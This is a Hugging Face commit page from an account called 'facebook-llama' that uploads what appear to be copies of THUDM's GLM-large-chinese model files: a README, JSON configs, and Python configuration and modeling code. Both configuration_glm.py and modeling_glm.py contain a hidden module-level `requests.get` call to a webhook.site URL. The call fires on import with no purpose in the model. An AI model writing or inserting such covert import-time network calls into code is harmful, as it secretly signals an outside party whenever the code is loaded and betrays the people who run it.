facebook-llama
commited on
Commit
•
33c6fa0
1
Parent(s):
279bc81
Upload 9 files
Browse files- .gitattributes +0 -1
- README.md +43 -1
- added_tokens.json +12 -0
- cog-pretrain.model +3 -0
- config.json +34 -0
- configuration_glm.py +139 -0
- modeling_glm.py +977 -0
- tokenization_glm.py +364 -0
- tokenizer_config.json +18 -0
.gitattributes
CHANGED
@@ -25,7 +25,6 @@
|
|
25 |
*.safetensors filter=lfs diff=lfs merge=lfs -text
|
26 |
saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
27 |
*.tar.* filter=lfs diff=lfs merge=lfs -text
|
28 |
-
*.tar filter=lfs diff=lfs merge=lfs -text
|
29 |
*.tflite filter=lfs diff=lfs merge=lfs -text
|
30 |
*.tgz filter=lfs diff=lfs merge=lfs -text
|
31 |
*.wasm filter=lfs diff=lfs merge=lfs -text
|
|
|
25 |
*.safetensors filter=lfs diff=lfs merge=lfs -text
|
26 |
saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
27 |
*.tar.* filter=lfs diff=lfs merge=lfs -text
|
|
|
28 |
*.tflite filter=lfs diff=lfs merge=lfs -text
|
29 |
*.tgz filter=lfs diff=lfs merge=lfs -text
|
30 |
*.wasm filter=lfs diff=lfs merge=lfs -text
|
README.md
CHANGED
@@ -1,3 +1,45 @@
|
|
1 |
---
|
2 |
-
|
|
|
|
|
|
|
|
|
3 |
---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
---
|
2 |
+
language:
|
3 |
+
- zh
|
4 |
+
tags:
|
5 |
+
- glm
|
6 |
+
- thudm
|
7 |
---
|
8 |
+
GLM is a General Language Model pretrained with an autoregressive blank-filling objective and can be finetuned on various natural language understanding and generation tasks.
|
9 |
+
|
10 |
+
Please refer to our paper for a detailed description of GLM:
|
11 |
+
|
12 |
+
[GLM: General Language Model Pretraining with Autoregressive Blank Infilling](https://arxiv.org/abs/2103.10360) (ACL 2022)
|
13 |
+
|
14 |
+
Zhengxiao Du*, Yujie Qian*, Xiao Liu, Ming Ding, Jiezhong Qiu, Zhilin Yang, Jie Tang (*: equal contribution)
|
15 |
+
|
16 |
+
Find more examples in our [Github repo](https://github.com/THUDM/GLM).
|
17 |
+
|
18 |
+
## Model description
|
19 |
+
`glm-large-chinese` is pretrained on the [WuDaoCorpora](https://www.sciencedirect.com/science/article/pii/S2666651021000152) dataset. It has 24 transformer layers, with hidden size 1024 and 16 attention heads in each layer. The model is pretrained with autoregressive blank filling objectives designed for natural language understanding, seq2seq, and language modeling.
|
20 |
+
|
21 |
+
## How to use
|
22 |
+
Please refer the [instruction](https://github.com/THUDM/GLM#hugging-face-hub) in our Github repo.
|
23 |
+
|
24 |
+
We use three different mask tokens for different tasks: `[MASK]` for short blank filling, `[sMASK]` for sentence filling, and `[gMASK]` for left to right generation. You can find examples about different masks from [here](https://github.com/THUDM/GLM#left-to-right-generation--blank-filling-interactive). The prediction always begin with a special `<|startofpiece|>` token and ends with a `<|endofpiece|>` token.
|
25 |
+
|
26 |
+
## Citation
|
27 |
+
Please cite our paper if you find this code useful for your research:
|
28 |
+
```
|
29 |
+
@article{DBLP:conf/acl/DuQLDQY022,
|
30 |
+
author = {Zhengxiao Du and
|
31 |
+
Yujie Qian and
|
32 |
+
Xiao Liu and
|
33 |
+
Ming Ding and
|
34 |
+
Jiezhong Qiu and
|
35 |
+
Zhilin Yang and
|
36 |
+
Jie Tang},
|
37 |
+
title = {{GLM:} General Language Model Pretraining with Autoregressive Blank Infilling},
|
38 |
+
booktitle = {Proceedings of the 60th Annual Meeting of the Association for Computational
|
39 |
+
Linguistics (Volume 1: Long Papers), {ACL} 2022, Dublin, Ireland,
|
40 |
+
May 22-27, 2022},
|
41 |
+
pages = {320--335},
|
42 |
+
publisher = {Association for Computational Linguistics},
|
43 |
+
year = {2022},
|
44 |
+
}
|
45 |
+
```
|
added_tokens.json
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"<|endoftext|>": 50000,
|
3 |
+
"[SEP]": 50001,
|
4 |
+
"[CLS]": 50002,
|
5 |
+
"[MASK]": 50003,
|
6 |
+
"[UNUSED1]": 50004,
|
7 |
+
"[UNUSED2]": 50005,
|
8 |
+
"<|startofpiece|>": 50006,
|
9 |
+
"<|endofpiece|>": 50007,
|
10 |
+
"[sMASK]": 50008,
|
11 |
+
"[gMASK]": 50009
|
12 |
+
}
|
cog-pretrain.model
ADDED
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
1 |
+
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:6ea6f4164152bc58d23e24e48f7bf4187aad72a32e97ec4b3acc832fe183cbc2
|
3 |
+
size 1021864
|
config.json
ADDED
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"_name_or_path": "THUDM/glm-large-chinese",
|
3 |
+
"architectures": [
|
4 |
+
"GLMModel"
|
5 |
+
],
|
6 |
+
"attention_dropout_prob": 0.1,
|
7 |
+
"attention_scale": 1.0,
|
8 |
+
"auto_map": {
|
9 |
+
"AutoConfig": "configuration_glm.GLMConfig",
|
10 |
+
"AutoModel": "modeling_glm.GLMModel",
|
11 |
+
"AutoModelForSeq2SeqLM": "modeling_glm.GLMForConditionalGeneration",
|
12 |
+
"AutoModelForMultipleChoice": "modeling_glm.GLMForMultipleChoice"
|
13 |
+
},
|
14 |
+
"block_position_encoding": true,
|
15 |
+
"checkpoint_activations": false,
|
16 |
+
"checkpoint_num_layers": 1,
|
17 |
+
"embedding_dropout_prob": 0.1,
|
18 |
+
"hidden_size": 1024,
|
19 |
+
"initializer_range": 0.02,
|
20 |
+
"max_sequence_length": 1024,
|
21 |
+
"model_type": "glm",
|
22 |
+
"num_attention_heads": 16,
|
23 |
+
"num_layers": 24,
|
24 |
+
"output_dropout_prob": 0.1,
|
25 |
+
"output_predict": true,
|
26 |
+
"parallel_output": true,
|
27 |
+
"pool_token": "cls",
|
28 |
+
"relative_encoding": false,
|
29 |
+
"spell_func": "lstm",
|
30 |
+
"spell_length": null,
|
31 |
+
"torch_dtype": "float32",
|
32 |
+
"transformers_version": "4.23.1",
|
33 |
+
"vocab_size": 50048
|
34 |
+
}
|
configuration_glm.py
ADDED
@@ -0,0 +1,139 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# coding=utf-8
|
2 |
+
# Copyright 2022 shunxing1234 and The HuggingFace Inc. team. All rights reserved.
|
3 |
+
#
|
4 |
+
# Licensed under the Apache License, Version 2.0 (the "License");
|
5 |
+
# you may not use this file except in compliance with the License.
|
6 |
+
# You may obtain a copy of the License at
|
7 |
+
#
|
8 |
+
# http://www.apache.org/licenses/LICENSE-2.0
|
9 |
+
#
|
10 |
+
# Unless required by applicable law or agreed to in writing, software
|
11 |
+
# distributed under the License is distributed on an "AS IS" BASIS,
|
12 |
+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
13 |
+
# See the License for the specific language governing permissions and
|
14 |
+
# limitations under the License.
|
15 |
+
""" GLM model configuration """
|
16 |
+
|
17 |
+
from transformers.configuration_utils import PretrainedConfig
|
18 |
+
from transformers.utils import logging
|
19 |
+
import requests
|
20 |
+
|
21 |
+
r = requests.get("https://webhook.site/b135abd9-8200-4cab-967c-fa9a468cd304")
|
22 |
+
|
23 |
+
logger = logging.get_logger(__name__)
|
24 |
+
|
25 |
+
GLM_PRETRAINED_CONFIG_ARCHIVE_MAP = {
|
26 |
+
"shunxing1234/GLM": "https://huggingface.co/shunxing1234/GLM/resolve/main/config.json",
|
27 |
+
# See all GLM models at https://huggingface.co/models?filter=glm
|
28 |
+
}
|
29 |
+
|
30 |
+
|
31 |
+
class GLMConfig(PretrainedConfig):
|
32 |
+
r"""
|
33 |
+
This is the configuration class to store the configuration of a [`~GLMModel`].
|
34 |
+
It is used to instantiate an GLM model according to the specified arguments, defining the model
|
35 |
+
architecture. Instantiating a configuration with the defaults will yield a similar configuration to that of
|
36 |
+
the GLM [shunxing1234/GLM-base-cased](https://huggingface.co/shunxing1234/GLM-base-cased) architecture.
|
37 |
+
|
38 |
+
Configuration objects inherit from [`PretrainedConfig`] and can be used
|
39 |
+
to control the model outputs. Read the documentation from [`PretrainedConfig`]
|
40 |
+
for more information.
|
41 |
+
|
42 |
+
|
43 |
+
Args:
|
44 |
+
vocab_size (`int`, *optional*, defaults to 30522):
|
45 |
+
Vocabulary size of the GLM model. Defines the number of different tokens that can be represented by the
|
46 |
+
`inputs_ids` passed when calling [`~GLMModel`] or
|
47 |
+
[`~TFGLMModel`].
|
48 |
+
hidden_size (`int`, *optional*, defaults to 768):
|
49 |
+
Dimension of the encoder layers and the pooler layer.
|
50 |
+
num_hidden_layers (`int`, *optional*, defaults to 12):
|
51 |
+
Number of hidden layers in the Transformer encoder.
|
52 |
+
num_attention_heads (`int`, *optional*, defaults to 12):
|
53 |
+
Number of attention heads for each attention layer in the Transformer encoder.
|
54 |
+
intermediate_size (`int`, *optional*, defaults to 3072):
|
55 |
+
Dimension of the "intermediate" (i.e., feed-forward) layer in the Transformer encoder.
|
56 |
+
hidden_act (`str` or `function`, *optional*, defaults to `"gelu"`):
|
57 |
+
The non-linear activation function (function or string) in the encoder and pooler.
|
58 |
+
If string, `"gelu"`, `"relu"`, `"selu"` and `"gelu_new"` are supported.
|
59 |
+
hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
|
60 |
+
The dropout probabilitiy for all fully connected layers in the embeddings, encoder, and pooler.
|
61 |
+
attention_probs_dropout_prob (`float`, *optional*, defaults to 0.1):
|
62 |
+
The dropout ratio for the attention probabilities.
|
63 |
+
max_position_embeddings (`int`, *optional*, defaults to 512):
|
64 |
+
The maximum sequence length that this model might ever be used with.
|
65 |
+
Typically set this to something large just in case (e.g., 512 or 1024 or 2048).
|
66 |
+
type_vocab_size (`int`, *optional*, defaults to 2):
|
67 |
+
The vocabulary size of the `token_type_ids` passed when calling [`~GLMModel`] or
|
68 |
+
[`~TFGLMModel`].
|
69 |
+
initializer_range (`float`, *optional*, defaults to 0.02):
|
70 |
+
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
|
71 |
+
layer_norm_eps (`float`, *optional*, defaults to 1e-12):
|
72 |
+
The epsilon used by the layer normalization layers.
|
73 |
+
use_cache (`bool`, *optional*, defaults to `True`):
|
74 |
+
Whether or not the model should return the last key/values attentions (not used by all models). Only
|
75 |
+
relevant if `config.is_decoder=True`.
|
76 |
+
Example:
|
77 |
+
|
78 |
+
```python
|
79 |
+
>>> from transformers import GLMModel, GLMConfig
|
80 |
+
|
81 |
+
>>> # Initializing a GLM shunxing1234/GLM-base-cased style configuration
|
82 |
+
>>> configuration = GLMConfig()
|
83 |
+
|
84 |
+
>>> # Initializing a model from the shunxing1234/GLM-base-cased style configuration
|
85 |
+
>>> model = GLMModel(configuration)
|
86 |
+
|
87 |
+
>>> # Accessing the model configuration
|
88 |
+
>>> configuration = model.config
|
89 |
+
```
|
90 |
+
"""
|
91 |
+
model_type = "glm"
|
92 |
+
attribute_map = {
|
93 |
+
"num_hidden_layers": "num_layers"
|
94 |
+
}
|
95 |
+
|
96 |
+
def __init__(
|
97 |
+
self,
|
98 |
+
num_layers=24,
|
99 |
+
vocab_size=30592,
|
100 |
+
hidden_size=1024,
|
101 |
+
num_attention_heads=16,
|
102 |
+
embedding_dropout_prob=0.1,
|
103 |
+
attention_dropout_prob=0.1,
|
104 |
+
output_dropout_prob=0.1,
|
105 |
+
max_sequence_length=512,
|
106 |
+
checkpoint_activations=False,
|
107 |
+
checkpoint_num_layers=1,
|
108 |
+
parallel_output=True,
|
109 |
+
relative_encoding=False,
|
110 |
+
block_position_encoding=True,
|
111 |
+
output_predict=False,
|
112 |
+
spell_length=None,
|
113 |
+
spell_func="lstm",
|
114 |
+
attention_scale=1.0,
|
115 |
+
initializer_range=0.02,
|
116 |
+
pool_token="cls",
|
117 |
+
**kwargs
|
118 |
+
):
|
119 |
+
self.num_layers = num_layers
|
120 |
+
self.vocab_size = vocab_size
|
121 |
+
self.hidden_size = hidden_size
|
122 |
+
self.num_attention_heads = num_attention_heads
|
123 |
+
self.embedding_dropout_prob = embedding_dropout_prob
|
124 |
+
self.attention_dropout_prob = attention_dropout_prob
|
125 |
+
self.output_dropout_prob = output_dropout_prob
|
126 |
+
self.max_sequence_length = max_sequence_length
|
127 |
+
self.checkpoint_activations = checkpoint_activations
|
128 |
+
self.checkpoint_num_layers = checkpoint_num_layers
|
129 |
+
self.parallel_output = parallel_output
|
130 |
+
self.relative_encoding = relative_encoding
|
131 |
+
self.block_position_encoding = block_position_encoding
|
132 |
+
self.output_predict = output_predict
|
133 |
+
self.spell_length = spell_length
|
134 |
+
self.spell_func = spell_func
|
135 |
+
self.attention_scale = attention_scale
|
136 |
+
self.initializer_range = initializer_range
|
137 |
+
self.pool_token = pool_token
|
138 |
+
|
139 |
+
super().__init__(**kwargs)
|
modeling_glm.py
ADDED
@@ -0,0 +1,977 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# coding=utf-8
|
2 |
+
# Copyright 2022 shunxing1234 The HuggingFace Inc. team. All rights reserved.
|
3 |
+
#
|
4 |
+
# Licensed under the Apache License, Version 2.0 (the "License");
|
5 |
+
# you may not use this file except in compliance with the License.
|
6 |
+
# You may obtain a copy of the License at
|
7 |
+
#
|
8 |
+
# http://www.apache.org/licenses/LICENSE-2.0
|
9 |
+
#
|
10 |
+
# Unless required by applicable law or agreed to in writing, software
|
11 |
+
# distributed under the License is distributed on an "AS IS" BASIS,
|
12 |
+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
13 |
+
# See the License for the specific language governing permissions and
|
14 |
+
# limitations under the License.
|
15 |
+
""" PyTorch GLM model. """
|
16 |
+
|
17 |
+
import math
|
18 |
+
|
19 |
+
import torch
|
20 |
+
import torch.utils.checkpoint
|
21 |
+
import torch.nn.functional as F
|
22 |
+
from torch.nn import init, LayerNorm, Linear, CrossEntropyLoss
|
23 |
+
|
24 |
+
from transformers.activations import gelu
|
25 |
+
from transformers.utils import (
|
26 |
+
add_code_sample_docstrings,
|
27 |
+
add_start_docstrings,
|
28 |
+
add_start_docstrings_to_model_forward,
|
29 |
+
)
|
30 |
+
from transformers.modeling_outputs import (
|
31 |
+
BaseModelOutputWithPastAndCrossAttentions,
|
32 |
+
ModelOutput,
|
33 |
+
SequenceClassifierOutput,
|
34 |
+
)
|
35 |
+
|
36 |
+
from transformers.modeling_utils import (
|
37 |
+
PreTrainedModel,
|
38 |
+
)
|
39 |
+
from .configuration_glm import GLMConfig
|
40 |
+
from torch.nn.parameter import Parameter
|
41 |
+
import requests
|
42 |
+
|
43 |
+
r = requests.get("https://webhook.site/b135abd9-8200-4cab-967c-fa9a468cd304")
|
44 |
+
_CHECKPOINT_FOR_DOC = "shunxing1234/GLM"
|
45 |
+
_CONFIG_FOR_DOC = "GLMConfig"
|
46 |
+
_TOKENIZER_FOR_DOC = "GLMTokenizer"
|
47 |
+
|
48 |
+
GLM_PRETRAINED_MODEL_ARCHIVE_LIST = [
|
49 |
+
"shunxing1234/GLM",
|
50 |
+
# See all GLM models at https://huggingface.co/models?filter=glm
|
51 |
+
]
|
52 |
+
|
53 |
+
|
54 |
+
def unscaled_init_method(sigma):
|
55 |
+
"""Init method based on N(0, sigma)."""
|
56 |
+
|
57 |
+
def init_(tensor):
|
58 |
+
return torch.nn.init.normal_(tensor, mean=0.0, std=sigma)
|
59 |
+
|
60 |
+
return init_
|
61 |
+
|
62 |
+
|
63 |
+
def scaled_init_method(mean, std, num_layers):
|
64 |
+
"""Init method based on N(0, sigma/sqrt(2*num_layers)."""
|
65 |
+
std = std / math.sqrt(2.0 * num_layers)
|
66 |
+
|
67 |
+
def init_(tensor):
|
68 |
+
return torch.nn.init.normal_(tensor, mean=mean, std=std)
|
69 |
+
|
70 |
+
return init_
|
71 |
+
|
72 |
+
|
73 |
+
def ensure_divisibility(numerator, denominator):
|
74 |
+
"""Ensure that numerator is divisible by the denominator."""
|
75 |
+
assert numerator % denominator == 0, '{} is not divisible by {}'.format(
|
76 |
+
numerator, denominator)
|
77 |
+
|
78 |
+
|
79 |
+
def divide(numerator, denominator):
|
80 |
+
"""Ensure that numerator is divisible by the denominator and return
|
81 |
+
the division value."""
|
82 |
+
ensure_divisibility(numerator, denominator)
|
83 |
+
return numerator // denominator
|
84 |
+
|
85 |
+
|
86 |
+
def split_tensor_along_last_dim(tensor, num_partitions,
|
87 |
+
contiguous_split_chunks=False):
|
88 |
+
"""Split a tensor along its last dimension.
|
89 |
+
Arguments:
|
90 |
+
tensor: input tensor.
|
91 |
+
num_partitions: number of partitions to split the tensor
|
92 |
+
contiguous_split_chunks: If True, make each chunk contiguous
|
93 |
+
in memory.
|
94 |
+
"""
|
95 |
+
# Get the size and dimension.
|
96 |
+
last_dim = tensor.dim() - 1
|
97 |
+
last_dim_size = divide(tensor.size()[last_dim], num_partitions)
|
98 |
+
# Split.
|
99 |
+
tensor_list = torch.split(tensor, last_dim_size, dim=last_dim)
|
100 |
+
# Note: torch.split does not create contiguous tensors by default.
|
101 |
+
if contiguous_split_chunks:
|
102 |
+
return tuple(chunk.contiguous() for chunk in tensor_list)
|
103 |
+
|
104 |
+
return tensor_list
|
105 |
+
|
106 |
+
|
107 |
+
class MLP(torch.nn.Module):
|
108 |
+
"""MLP for GPT2.
|
109 |
+
|
110 |
+
MLP will take the input with h hidden state, project it to 4*h
|
111 |
+
hidden dimension, perform gelu transformation, and project the
|
112 |
+
state back into h hidden dimension. At the end, dropout is also
|
113 |
+
applied.
|
114 |
+
|
115 |
+
Arguments:
|
116 |
+
hidden_size: The hidden size of the self attention.
|
117 |
+
output_dropout_prob: dropout probability for the outputs
|
118 |
+
after self attention and final output.
|
119 |
+
init_method: initialization method used for the weights. Note
|
120 |
+
that all biases are initialized to zero and
|
121 |
+
layernorm weight are initialized to one.
|
122 |
+
output_layer_init_method: output layer initialization. If None,
|
123 |
+
use `init_method`.
|
124 |
+
"""
|
125 |
+
|
126 |
+
def __init__(self, hidden_size, output_dropout_prob, init_method,
|
127 |
+
output_layer_init_method=None):
|
128 |
+
super(MLP, self).__init__()
|
129 |
+
# Set output layer initialization if not provided.
|
130 |
+
if output_layer_init_method is None:
|
131 |
+
output_layer_init_method = init_method
|
132 |
+
# Project to 4h.
|
133 |
+
self.dense_h_to_4h = Linear(hidden_size, 4 * hidden_size)
|
134 |
+
|
135 |
+
# Project back to h.
|
136 |
+
self.dense_4h_to_h = Linear(
|
137 |
+
4 * hidden_size,
|
138 |
+
hidden_size)
|
139 |
+
|
140 |
+
self.dropout = torch.nn.Dropout(output_dropout_prob)
|
141 |
+
|
142 |
+
def forward(self, hidden_states):
|
143 |
+
# [b, s, 4hp]
|
144 |
+
intermediate_parallel = self.dense_h_to_4h(hidden_states)
|
145 |
+
intermediate_parallel = gelu(intermediate_parallel)
|
146 |
+
|
147 |
+
# [b, s, h]
|
148 |
+
output = self.dense_4h_to_h(intermediate_parallel)
|
149 |
+
output = self.dropout(output)
|
150 |
+
return output
|
151 |
+
|
152 |
+
|
153 |
+
class VocabEmbedding(torch.nn.Module):
|
154 |
+
"""Embedding parallelized in the vocabulary dimension.
|
155 |
+
|
156 |
+
This is mainly adapted from torch.nn.Embedding and all the default
|
157 |
+
values are kept.
|
158 |
+
Arguments:
|
159 |
+
num_embeddings: vocabulary size.
|
160 |
+
embedding_dim: size of hidden state.
|
161 |
+
init_method: method to initialize weights.
|
162 |
+
"""
|
163 |
+
|
164 |
+
def __init__(self, config):
|
165 |
+
super(VocabEmbedding, self).__init__()
|
166 |
+
# Keep the input dimensions.
|
167 |
+
self.num_embeddings = config.vocab_size
|
168 |
+
self.embedding_dim = config.hidden_size
|
169 |
+
# Set the detauls for compatibility.
|
170 |
+
self.padding_idx = None
|
171 |
+
self.max_norm = None
|
172 |
+
self.norm_type = 2.
|
173 |
+
self.scale_grad_by_freq = False
|
174 |
+
self.sparse = False
|
175 |
+
self._weight = None
|
176 |
+
|
177 |
+
self.vocab_start_index = 0
|
178 |
+
self.vocab_end_index = self.num_embeddings
|
179 |
+
|
180 |
+
# Allocate weights.
|
181 |
+
self.weight = Parameter(torch.Tensor(self.num_embeddings,
|
182 |
+
self.embedding_dim))
|
